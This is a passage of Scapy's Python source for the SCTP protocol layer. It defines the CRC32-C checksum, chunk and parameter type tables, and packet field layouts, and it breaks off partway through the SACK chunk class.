    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n# Copyright (C) 6WIND <olivier.matz@6wind.com>\n\n\"\"\"\nSCTP (Stream Control Transmission Protocol).\n\"\"\"\n\nimport struct\n\nfrom scapy.compat import orb, raw\nfrom scapy.volatile import RandBin\nfrom scapy.config import conf\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    BitField,\n    ByteEnumField,\n    Field,\n    FieldLenField,\n    FieldListField,\n    IPField,\n    IntEnumField,\n    IntField,\n    MultipleTypeField,\n    PacketLenField,\n    PacketListField,\n    PadField,\n    ShortEnumField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    XByteField,\n    XIntField,\n    XShortField,\n)\nfrom scapy.data import SCTP_SERVICES\nfrom scapy.layers.inet import IP, IPerror\nfrom scapy.layers.inet6 import IP6Field, IPv6, IPerror6, nh_clserror\n\nIPPROTO_SCTP = 132\n\n# crc32-c (Castagnoli) (crc32c_poly=0x1EDC6F41)\ncrc32c_table = [\n    0x00000000, 0xF26B8303, 0xE13B70F7, 0x1350F3F4,\n    0xC79A971F, 0x35F1141C, 0x26A1E7E8, 0xD4CA64EB,\n    0x8AD958CF, 0x78B2DBCC, 0x6BE22838, 0x9989AB3B,\n    0x4D43CFD0, 0xBF284CD3, 0xAC78BF27, 0x5E133C24,\n    0x105EC76F, 0xE235446C, 0xF165B798, 0x030E349B,\n    0xD7C45070, 0x25AFD373, 0x36FF2087, 0xC494A384,\n    0x9A879FA0, 0x68EC1CA3, 0x7BBCEF57, 0x89D76C54,\n    0x5D1D08BF, 0xAF768BBC, 0xBC267848, 0x4E4DFB4B,\n    0x20BD8EDE, 0xD2D60DDD, 0xC186FE29, 0x33ED7D2A,\n    0xE72719C1, 0x154C9AC2, 0x061C6936, 0xF477EA35,\n    0xAA64D611, 0x580F5512, 0x4B5FA6E6, 0xB93425E5,\n    0x6DFE410E, 0x9F95C20D, 0x8CC531F9, 0x7EAEB2FA,\n    0x30E349B1, 0xC288CAB2, 0xD1D83946, 0x23B3BA45,\n    0xF779DEAE, 0x05125DAD, 0x1642AE59, 0xE4292D5A,\n    0xBA3A117E, 0x4851927D, 0x5B016189, 0xA96AE28A,\n    0x7DA08661, 0x8FCB0562, 0x9C9BF696, 0x6EF07595,\n    0x417B1DBC, 0xB3109EBF, 0xA0406D4B, 0x522BEE48,\n    0x86E18AA3, 0x748A09A0, 0x67DAFA54, 0x95B17957,\n    0xCBA24573, 0x39C9C670, 0x2A993584, 0xD8F2B687,\n    0x0C38D26C, 0xFE53516F, 0xED03A29B, 0x1F682198,\n    0x5125DAD3, 0xA34E59D0, 0xB01EAA24, 0x42752927,\n    0x96BF4DCC, 0x64D4CECF, 0x77843D3B, 0x85EFBE38,\n    0xDBFC821C, 0x2997011F, 0x3AC7F2EB, 0xC8AC71E8,\n    0x1C661503, 0xEE0D9600, 0xFD5D65F4, 0x0F36E6F7,\n    0x61C69362, 0x93AD1061, 0x80FDE395, 0x72966096,\n    0xA65C047D, 0x5437877E, 0x4767748A, 0xB50CF789,\n    0xEB1FCBAD, 0x197448AE, 0x0A24BB5A, 0xF84F3859,\n    0x2C855CB2, 0xDEEEDFB1, 0xCDBE2C45, 0x3FD5AF46,\n    0x7198540D, 0x83F3D70E, 0x90A324FA, 0x62C8A7F9,\n    0xB602C312, 0x44694011, 0x5739B3E5, 0xA55230E6,\n    0xFB410CC2, 0x092A8FC1, 0x1A7A7C35, 0xE811FF36,\n    0x3CDB9BDD, 0xCEB018DE, 0xDDE0EB2A, 0x2F8B6829,\n    0x82F63B78, 0x709DB87B, 0x63CD4B8F, 0x91A6C88C,\n    0x456CAC67, 0xB7072F64, 0xA457DC90, 0x563C5F93,\n    0x082F63B7, 0xFA44E0B4, 0xE9141340, 0x1B7F9043,\n    0xCFB5F4A8, 0x3DDE77AB, 0x2E8E845F, 0xDCE5075C,\n    0x92A8FC17, 0x60C37F14, 0x73938CE0, 0x81F80FE3,\n    0x55326B08, 0xA759E80B, 0xB4091BFF, 0x466298FC,\n    0x1871A4D8, 0xEA1A27DB, 0xF94AD42F, 0x0B21572C,\n    0xDFEB33C7, 0x2D80B0C4, 0x3ED04330, 0xCCBBC033,\n    0xA24BB5A6, 0x502036A5, 0x4370C551, 0xB11B4652,\n    0x65D122B9, 0x97BAA1BA, 0x84EA524E, 0x7681D14D,\n    0x2892ED69, 0xDAF96E6A, 0xC9A99D9E, 0x3BC21E9D,\n    0xEF087A76, 0x1D63F975, 0x0E330A81, 0xFC588982,\n    0xB21572C9, 0x407EF1CA, 0x532E023E, 0xA145813D,\n    0x758FE5D6, 0x87E466D5, 0x94B49521, 0x66DF1622,\n    0x38CC2A06, 0xCAA7A905, 0xD9F75AF1, 0x2B9CD9F2,\n    0xFF56BD19, 0x0D3D3E1A, 0x1E6DCDEE, 0xEC064EED,\n    0xC38D26C4, 0x31E6A5C7, 0x22B65633, 0xD0DDD530,\n    0x0417B1DB, 0xF67C32D8, 0xE52CC12C, 0x1747422F,\n    0x49547E0B, 0xBB3FFD08, 0xA86F0EFC, 0x5A048DFF,\n    0x8ECEE914, 0x7CA56A17, 0x6FF599E3, 0x9D9E1AE0,\n    0xD3D3E1AB, 0x21B862A8, 0x32E8915C, 0xC083125F,\n    0x144976B4, 0xE622F5B7, 0xF5720643, 0x07198540,\n    0x590AB964, 0xAB613A67, 0xB831C993, 0x4A5A4A90,\n    0x9E902E7B, 0x6CFBAD78, 0x7FAB5E8C, 0x8DC0DD8F,\n    0xE330A81A, 0x115B2B19, 0x020BD8ED, 0xF0605BEE,\n    0x24AA3F05, 0xD6C1BC06, 0xC5914FF2, 0x37FACCF1,\n    0x69E9F0D5, 0x9B8273D6, 0x88D28022, 0x7AB90321,\n    0xAE7367CA, 0x5C18E4C9, 0x4F48173D, 0xBD23943E,\n    0xF36E6F75, 0x0105EC76, 0x12551F82, 0xE03E9C81,\n    0x34F4F86A, 0xC69F7B69, 0xD5CF889D, 0x27A40B9E,\n    0x79B737BA, 0x8BDCB4B9, 0x988C474D, 0x6AE7C44E,\n    0xBE2DA0A5, 0x4C4623A6, 0x5F16D052, 0xAD7D5351,\n]\n\n\ndef crc32c(buf):\n    crc = 0xffffffff\n    for c in buf:\n        crc = (crc >> 8) ^ crc32c_table[(crc ^ (orb(c))) & 0xFF]\n    crc = (~crc) & 0xffffffff\n    # reverse endianness\n    return struct.unpack(\">I\", struct.pack(\"<I\", crc))[0]\n\n\n# old checksum (RFC2960)\n\"\"\"\nBASE = 65521 # largest prime smaller than 65536\ndef update_adler32(adler, buf):\n    s1 = adler & 0xffff\n    s2 = (adler >> 16) & 0xffff\n    print(s1, s2)\n\n    for c in buf:\n        print(orb(c))\n        s1 = (s1 + orb(c)) % BASE\n        s2 = (s2 + s1) % BASE\n        print(s1, s2)\n    return (s2 << 16) + s1\n\ndef sctp_checksum(buf):\n    return update_adler32(1, buf)\n\"\"\"\n\nhmactypes = {\n    0: \"Reserved1\",\n    1: \"SHA-1\",\n    2: \"Reserved2\",\n    3: \"SHA-256\",\n}\n\nsctpchunktypescls = {\n    0: \"SCTPChunkData\",\n    1: \"SCTPChunkInit\",\n    2: \"SCTPChunkInitAck\",\n    3: \"SCTPChunkSACK\",\n    4: \"SCTPChunkHeartbeatReq\",\n    5: \"SCTPChunkHeartbeatAck\",\n    6: \"SCTPChunkAbort\",\n    7: \"SCTPChunkShutdown\",\n    8: \"SCTPChunkShutdownAck\",\n    9: \"SCTPChunkError\",\n    10: \"SCTPChunkCookieEcho\",\n    11: \"SCTPChunkCookieAck\",\n    14: \"SCTPChunkShutdownComplete\",\n    15: \"SCTPChunkAuthentication\",\n    64: \"SCTPChunkIData\",\n    130: \"SCTPChunkReConfig\",\n    132: \"SCTPChunkPad\",\n    0x80: \"SCTPChunkAddressConfAck\",\n    192: \"SCTPChunkForwardTSN\",\n    0xc1: \"SCTPChunkAddressConf\",\n    194: \"SCTPChunkIForwardTSN\",\n}\n\nsctpchunktypes = {\n    0: \"data\",\n    1: \"init\",\n    2: \"init-ack\",\n    3: \"sack\",\n    4: \"heartbeat-req\",\n    5: \"heartbeat-ack\",\n    6: \"abort\",\n    7: \"shutdown\",\n    8: \"shutdown-ack\",\n    9: \"error\",\n    10: \"cookie-echo\",\n    11: \"cookie-ack\",\n    14: \"shutdown-complete\",\n    15: \"authentication\",\n    64: \"i-data\",\n    130: \"re-config\",\n    132: \"pad\",\n    0x80: \"address-configuration-ack\",\n    192: \"forward-tsn\",\n    0xc1: \"address-configuration\",\n    194: \"i-forward-tsn\",\n}\n\nsctpchunkparamtypescls = {\n    1: \"SCTPChunkParamHeartbeatInfo\",\n    5: \"SCTPChunkParamIPv4Addr\",\n    6: \"SCTPChunkParamIPv6Addr\",\n    7: \"SCTPChunkParamStateCookie\",\n    8: \"SCTPChunkParamUnrocognizedParam\",\n    9: \"SCTPChunkParamCookiePreservative\",\n    11: \"SCTPChunkParamHostname\",\n    12: \"SCTPChunkParamSupportedAddrTypes\",\n    13: \"SCTPChunkParamOutgoingSSNResetRequest\",\n    14: \"SCTPChunkParamIncomingSSNResetRequest\",\n    15: \"SCTPChunkParamSSNTSNResetRequest\",\n    16: \"SCTPChunkParamReConfigurationResponse\",\n    17: \"SCTPChunkParamAddOutgoingStreamRequest\",\n    18: \"SCTPChunkParamAddIncomingStreamRequest\",\n    0x8000: \"SCTPChunkParamECNCapable\",\n    0x8002: \"SCTPChunkParamRandom\",\n    0x8003: \"SCTPChunkParamChunkList\",\n    0x8004: \"SCTPChunkParamRequestedHMACFunctions\",\n    0x8008: \"SCTPChunkParamSupportedExtensions\",\n    0xc000: \"SCTPChunkParamFwdTSN\",\n    0xc001: \"SCTPChunkParamAddIPAddr\",\n    0xc002: \"SCTPChunkParamDelIPAddr\",\n    0xc003: \"SCTPChunkParamErrorIndication\",\n    0xc004: \"SCTPChunkParamSetPrimaryAddr\",\n    0xc005: \"SCTPChunkParamSuccessIndication\",\n    0xc006: \"SCTPChunkParamAdaptationLayer\",\n}\n\nsctpchunkparamtypes = {\n    1: \"heartbeat-info\",\n    5: \"IPv4\",\n    6: \"IPv6\",\n    7: \"state-cookie\",\n    8: \"unrecognized-param\",\n    9: \"cookie-preservative\",\n    11: \"hostname\",\n    12: \"addrtypes\",\n    13: \"out-ssn-reset-req\",\n    14: \"in-ssn-reset-req\",\n    15: \"ssn-tsn-reset-req\",\n    16: \"re-configuration-response\",\n    17: \"add-outgoing-stream-req\",\n    18: \"add-incoming-stream-req\",\n    0x8000: \"ecn-capable\",\n    0x8002: \"random\",\n    0x8003: \"chunk-list\",\n    0x8004: \"requested-HMAC-functions\",\n    0x8008: \"supported-extensions\",\n    0xc000: \"fwd-tsn-supported\",\n    0xc001: \"add-IP\",\n    0xc002: \"del-IP\",\n    0xc003: \"error-indication\",\n    0xc004: \"set-primary-addr\",\n    0xc005: \"success-indication\",\n    0xc006: \"adaptation-layer\",\n}\n\n# SCTP header\n\n# Dummy class to guess payload type (variable parameters)\n\n\nclass _SCTPChunkGuessPayload:\n    def default_payload_class(self, p):\n        if len(p) < 4:\n            return conf.padding_layer\n        else:\n            t = orb(p[0])\n            return globals().get(sctpchunktypescls.get(t, \"Raw\"), conf.raw_layer)  # noqa: E501\n\n\nclass SCTP(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ShortEnumField(\"sport\", 0, SCTP_SERVICES),\n                   ShortEnumField(\"dport\", 0, SCTP_SERVICES),\n                   XIntField(\"tag\", 0),\n                   XIntField(\"chksum\", None), ]\n\n    def answers(self, other):\n        if not isinstance(other, SCTP):\n            return 0\n        if conf.checkIPsrc:\n            if not ((self.sport == other.dport) and\n                    (self.dport == other.sport)):\n                return 0\n        return 1\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.chksum is None:\n            crc = crc32c(raw(p))\n            p = p[:8] + struct.pack(\">I\", crc) + p[12:]\n        return p\n\n\nclass SCTPerror(SCTP):\n    name = \"SCTP in ICMP\"\n\n    def answers(self, other):\n        if not isinstance(other, SCTP):\n            return 0\n        if conf.checkIPsrc:\n            if not ((self.sport == other.sport) and\n                    (self.dport == other.dport)):\n                return 0\n        return 1\n\n    def mysummary(self):\n        return Packet.mysummary(self)\n\n\nnh_clserror[IPPROTO_SCTP] = SCTPerror\n\n# SCTP Chunk variable params\n\n\nresultcode = {\n    0: \"Success - Nothing to do\",\n    1: \"Success - Performed\",\n    2: \"Denied\",\n    3: \"Error - Wrong SSN\",\n    4: \"Error - Request already in progress\",\n    5: \"Error - Bad Sequence Number\",\n    6: \"In Progress\"\n}\n\n\nclass ChunkParamField(PacketListField):\n    def __init__(self, name, default, count_from=None, length_from=None):\n        PacketListField.__init__(self, name, default, conf.raw_layer, count_from=count_from, length_from=length_from)  # noqa: E501\n\n    def m2i(self, p, m):\n        cls = conf.raw_layer\n        if len(m) >= 4:\n            t = orb(m[0]) * 256 + orb(m[1])\n            cls = globals().get(sctpchunkparamtypescls.get(t, \"Raw\"), conf.raw_layer)  # noqa: E501\n        return cls(m)\n\n# dummy class to avoid Raw() after Chunk params\n\n\nclass _SCTPChunkParam:\n    def extract_padding(self, s):\n        return b\"\", s[:]\n\n\nclass SCTPChunkParamHeartbeatInfo(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 1, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"data\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(StrLenField(\"data\", \"\",\n                                        length_from=lambda pkt: pkt.len - 4),\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamIPv4Addr(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 5, sctpchunkparamtypes),\n                   ShortField(\"len\", 8),\n                   IPField(\"addr\", \"127.0.0.1\"), ]\n\n\nclass SCTPChunkParamIPv6Addr(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 6, sctpchunkparamtypes),\n                   ShortField(\"len\", 20),\n                   IP6Field(\"addr\", \"::1\"), ]\n\n\nclass SCTPChunkParamStateCookie(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 7, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"cookie\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(StrLenField(\"cookie\", \"\",\n                                        length_from=lambda pkt: pkt.len - 4),\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamUnrocognizedParam(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 8, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"param\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(StrLenField(\"param\", \"\",\n                                        length_from=lambda pkt: pkt.len - 4),\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamCookiePreservative(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 9, sctpchunkparamtypes),\n                   ShortField(\"len\", 8),\n                   XIntField(\"sug_cookie_inc\", None), ]\n\n\nclass SCTPChunkParamHostname(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 11, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"hostname\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(StrLenField(\"hostname\", \"\",\n                                        length_from=lambda pkt: pkt.len - 4),\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamSupportedAddrTypes(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 12, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"addr_type_list\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(FieldListField(\"addr_type_list\", [\"IPv4\"],\n                                           ShortEnumField(\"addr_type\", 5, sctpchunkparamtypes),  # noqa: E501\n                                           length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamOutSSNResetReq(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 13, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"stream_num_list\",\n                                 adjust=lambda pkt, x:x + 16),\n                   XIntField(\"re_conf_req_seq_num\", None),\n                   XIntField(\"re_conf_res_seq_num\", None),\n                   XIntField(\"tsn\", None),\n                   PadField(FieldListField(\"stream_num_list\", [],\n                                           XShortField(\"stream_num\", None),\n                                           length_from=lambda pkt: pkt.len - 16),\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkParamInSSNResetReq(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 14, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"stream_num_list\",\n                                 adjust=lambda pkt, x:x + 8),\n                   XIntField(\"re_conf_req_seq_num\", None),\n                   PadField(FieldListField(\"stream_num_list\", [],\n                                           XShortField(\"stream_num\", None),\n                                           length_from=lambda pkt: pkt.len - 8),\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkParamSSNTSNResetReq(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 15, sctpchunkparamtypes),\n                   XShortField(\"len\", 8),\n                   XIntField(\"re_conf_req_seq_num\", None),\n                   ]\n\n\nclass SCTPChunkParamReConfigRes(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 16, sctpchunkparamtypes),\n                   XShortField(\"len\", 12),\n                   XIntField(\"re_conf_res_seq_num\", None),\n                   IntEnumField(\"result\", None, resultcode),\n                   XIntField(\"sender_next_tsn\", None),\n                   XIntField(\"receiver_next_tsn\", None),\n                   ]\n\n\nclass SCTPChunkParamAddOutgoingStreamReq(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 17, sctpchunkparamtypes),\n                   XShortField(\"len\", 12),\n                   XIntField(\"re_conf_req_seq_num\", None),\n                   XShortField(\"num_new_stream\", None),\n                   XShortField(\"reserved\", None),\n                   ]\n\n\nclass SCTPChunkParamAddIncomingStreamReq(SCTPChunkParamAddOutgoingStreamReq):\n    type = 18\n\n\nclass SCTPChunkParamECNCapable(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0x8000, sctpchunkparamtypes),\n                   ShortField(\"len\", 4), ]\n\n\nclass SCTPChunkParamRandom(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0x8002, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"random\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(StrLenField(\"random\", RandBin(32),\n                                        length_from=lambda pkt: pkt.len - 4),\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamChunkList(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0x8003, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"chunk_list\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(FieldListField(\"chunk_list\", None,\n                                           ByteEnumField(\"chunk\", None, sctpchunktypes),  # noqa: E501\n                                           length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamRequestedHMACFunctions(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0x8004, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"HMAC_functions_list\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(FieldListField(\"HMAC_functions_list\", [\"SHA-1\"],\n                                           ShortEnumField(\"HMAC_function\", 1, hmactypes),  # noqa: E501\n                                           length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamSupportedExtensions(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0x8008, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"supported_extensions\",\n                                 adjust=lambda pkt, x:x + 4),\n                   PadField(FieldListField(\"supported_extensions\",\n                                           [\"authentication\",\n                                            \"address-configuration\",\n                                            \"address-configuration-ack\"],\n                                           ByteEnumField(\"supported_extensions\",  # noqa: E501\n                                                         None, sctpchunktypes),\n                                           length_from=lambda pkt: pkt.len - 4),  # noqa: E501\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0xc000, sctpchunkparamtypes),\n                   ShortField(\"len\", 4), ]\n\n\nclass SCTPChunkParamAddIPAddr(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0xc001, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"addr\",\n                                 adjust=lambda pkt, x:x + 12),\n                   XIntField(\"correlation_id\", None),\n                   ShortEnumField(\"addr_type\", 5, sctpchunkparamtypes),\n                   FieldLenField(\"addr_len\", None, length_of=\"addr\",\n                                 adjust=lambda pkt, x:x + 4),\n                   MultipleTypeField(\n                       [\n                           (IPField(\"addr\", \"127.0.0.1\"),\n                            lambda p: p.addr_type == 5),\n                           (IP6Field(\"addr\", \"::1\"),\n                            lambda p: p.addr_type == 6),\n                       ],\n                       StrFixedLenField(\"addr\", \"\",\n                                        length_from=lambda pkt: pkt.addr_len))\n                   ]\n\n\nclass SCTPChunkParamDelIPAddr(SCTPChunkParamAddIPAddr):\n    type = 0xc002\n\n\nclass SCTPChunkParamErrorIndication(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0xc003, sctpchunkparamtypes),\n                   FieldLenField(\"len\", None, length_of=\"error_causes\",\n                                 adjust=lambda pkt, x:x + 8),\n                   XIntField(\"correlation_id\", None),\n                   PadField(StrLenField(\"error_causes\", \"\",\n                                        length_from=lambda pkt: pkt.len - 4),\n                            4, padwith=b\"\\x00\"), ]\n\n\nclass SCTPChunkParamSetPrimaryAddr(SCTPChunkParamAddIPAddr):\n    type = 0xc004\n\n\nclass SCTPChunkParamSuccessIndication(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0xc005, sctpchunkparamtypes),\n                   ShortField(\"len\", 8),\n                   XIntField(\"correlation_id\", None), ]\n\n\nclass SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet):\n    fields_desc = [ShortEnumField(\"type\", 0xc006, sctpchunkparamtypes),\n                   ShortField(\"len\", 8),\n                   XIntField(\"indication\", None), ]\n\n# SCTP Chunks\n\n\n# Dictionary taken from: http://www.iana.org/assignments/sctp-parameters/sctp-parameters.xhtml  # noqa: E501\nSCTP_PAYLOAD_PROTOCOL_INDENTIFIERS = {\n    0: 'Reserved',\n    1: 'IUA',\n    2: 'M2UA',\n    3: 'M3UA',\n    4: 'SUA',\n    5: 'M2PA',\n    6: 'V5UA',\n    7: 'H.248',\n    8: 'BICC/Q.2150.3',\n    9: 'TALI',\n    10: 'DUA',\n    11: 'ASAP',\n    12: 'ENRP',\n    13: 'H.323',\n    14: 'Q.IPC/Q.2150.3',\n    15: 'SIMCO',\n    16: 'DDP Segment Chunk',\n    17: 'DDP Stream Session Control',\n    18: 'S1AP',\n    19: 'RUA',\n    20: 'HNBAP',\n    21: 'ForCES-HP',\n    22: 'ForCES-MP',\n    23: 'ForCES-LP',\n    24: 'SBc-AP',\n    25: 'NBAP',\n    26: 'Unassigned',\n    27: 'X2AP',\n    28: 'IRCP',\n    29: 'LCS-AP',\n    30: 'MPICH2',\n    31: 'SABP',\n    32: 'FGP',\n    33: 'PPP',\n    34: 'CALCAPP',\n    35: 'SSP',\n    36: 'NPMP-CONTROL',\n    37: 'NPMP-DATA',\n    38: 'ECHO',\n    39: 'DISCARD',\n    40: 'DAYTIME',\n    41: 'CHARGEN',\n    42: '3GPP RNA',\n    43: '3GPP M2AP',\n    44: '3GPP M3AP',\n    45: 'SSH/SCTP',\n    46: 'Diameter/SCTP',\n    47: 'Diameter/DTLS/SCTP',\n    48: 'R14P',\n    49: 'Unassigned',\n    50: 'WebRTC DCEP',\n    51: 'WebRTC String',\n    52: 'WebRTC Binary Partial',\n    53: 'WebRTC Binary',\n    54: 'WebRTC String Partial',\n    55: '3GPP PUA',\n    56: 'WebRTC String Empty',\n    57: 'WebRTC Binary Empty'\n}\n\n\nclass _SCTPChunkDataField(PacketLenField):\n    \"\"\"PacketLenField that dispatches using bind_layers bindings.\"\"\"\n\n    def m2i(self, pkt, m):\n        # Only dissect complete messages\n        if pkt.beginning != 1 or pkt.ending != 1:\n            return conf.raw_layer(load=m)\n        # Check bind_layers bindings\n        for fval, cls in pkt.payload_guess:\n            if all(\n                hasattr(pkt, k) and v == pkt.getfieldval(k)\n                for k, v in fval.items()\n            ):\n                return cls(m)\n        return conf.raw_layer(load=m)\n\n\nclass SCTPChunkData(_SCTPChunkGuessPayload, Packet):\n    # TODO : add a padding function in post build if this layer is used to generate SCTP chunk data  # noqa: E501\n    fields_desc = [ByteEnumField(\"type\", 0, sctpchunktypes),\n                   BitField(\"reserved\", None, 4),\n                   BitField(\"delay_sack\", 0, 1),\n                   BitField(\"unordered\", 0, 1),\n                   BitField(\"beginning\", 0, 1),\n                   BitField(\"ending\", 0, 1),\n                   FieldLenField(\"len\", None, length_of=\"data\", adjust=lambda pkt, x:x + 16),  # noqa: E501\n                   XIntField(\"tsn\", None),\n                   XShortField(\"stream_id\", None),\n                   XShortField(\"stream_seq\", None),\n                   IntEnumField(\"proto_id\", None, SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS),  # noqa: E501\n                   PadField(_SCTPChunkDataField(\"data\", None, conf.raw_layer,\n                                                length_from=lambda pkt: pkt.len - 16),  # noqa: E501\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPChunkIData(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 64, sctpchunktypes),\n                   BitField(\"reserved\", None, 4),\n                   BitField(\"delay_sack\", 0, 1),    # immediate bit\n                   BitField(\"unordered\", 0, 1),\n                   BitField(\"beginning\", 0, 1),\n                   BitField(\"ending\", 0, 1),\n                   FieldLenField(\"len\", None, length_of=\"data\",\n                                 adjust=lambda pkt, x:x + 20),\n                   XIntField(\"tsn\", None),\n                   XShortField(\"stream_id\", None),\n                   XShortField(\"reserved_16\", None),\n                   XIntField(\"message_id\", None),\n                   MultipleTypeField(\n                       [\n                           (IntEnumField(\"ppid_fsn\", None,\n                                         SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS),\n                            lambda pkt: pkt.beginning == 1),\n                           (XIntField(\"ppid_fsn\", None),\n                            lambda pkt: pkt.beginning == 0),\n                       ],\n                       XIntField(\"ppid_fsn\", None)),\n                   PadField(StrLenField(\"data\", None,\n                                        length_from=lambda pkt: pkt.len - 20),\n                            4, padwith=b\"\\x00\"),\n                   ]\n\n\nclass SCTPForwardSkip(_SCTPChunkParam, Packet):\n    fields_desc = [ShortField(\"stream_id\", None),\n                   ShortField(\"stream_seq\", None)\n                   ]\n\n\nclass SCTPChunkForwardTSN(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 192, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"skips\",\n                                 adjust=lambda pkt, x:x + 8),\n                   IntField(\"new_tsn\", None),\n                   ChunkParamField(\"skips\", None,\n                                   length_from=lambda pkt: pkt.len - 8)\n                   ]\n\n\nclass SCTPIForwardSkip(_SCTPChunkParam, Packet):\n    fields_desc = [ShortField(\"stream_id\", None),\n                   BitField(\"reserved\", None, 15),\n                   BitField(\"unordered\", None, 1),\n                   IntField(\"message_id\", None)\n                   ]\n\n\nclass SCTPChunkIForwardTSN(SCTPChunkForwardTSN):\n    type = 194\n\n\nclass SCTPChunkInit(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 1, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   FieldLenField(\"len\", None, length_of=\"params\", adjust=lambda pkt, x:x + 20),  # noqa: E501\n                   XIntField(\"init_tag\", None),\n                   IntField(\"a_rwnd\", None),\n                   ShortField(\"n_out_streams\", None),\n                   ShortField(\"n_in_streams\", None),\n                   XIntField(\"init_tsn\", None),\n                   ChunkParamField(\"params\", None, length_from=lambda pkt:pkt.len - 20),  # noqa: E501\n                   ]\n\n\nclass SCTPChunkInitAck(SCTPChunkInit):\n    type = 2\n\n\nclass GapAckField(Field):\n    def __init__(self, name, default):\n        Field.__init__(self, name, default, \"4s\")\n\n    def i2m(self, pkt, x):\n        if x is None:\n            return b\"\\0\\0\\0\\0\"\n        sta, end = [int(e) for e in x.split(':')]\n        args = tuple([\">HH\", sta, end])\n        return struct.pack(*args)\n\n    def m2i(self, pkt, x):\n        return \"%d:%d\" % (struct.unpack(\">HH\", x))\n\n    def any2i(self, pkt, x):\n        if isinstance(x, tuple) and len(x) == 2:\n            return \"%d:%d\" % (x)\n        return x\n\n\nclass SCTPChunkSACK(_SCTPChunkGuessPayload, Packet):\n    fields_desc = [ByteEnumField(\"type\", 3, sctpchunktypes),\n                   XByteField(\"flags\", None),\n                   ShortField(\"len\", None),\n                   XIntField(\"cumul_tsn_ack\", None),\n                   IntField(\"a_rwnd\", None),\n                   FieldLenField(\"n_gap_ack\", None, count_of=\"gap_ack_list\"),\n                   FieldLenField(\"n_dup_tsn\", None, count_of=\"dup_tsn_list\"),\n                   FieldListField(\"gap_ack_list\", [], 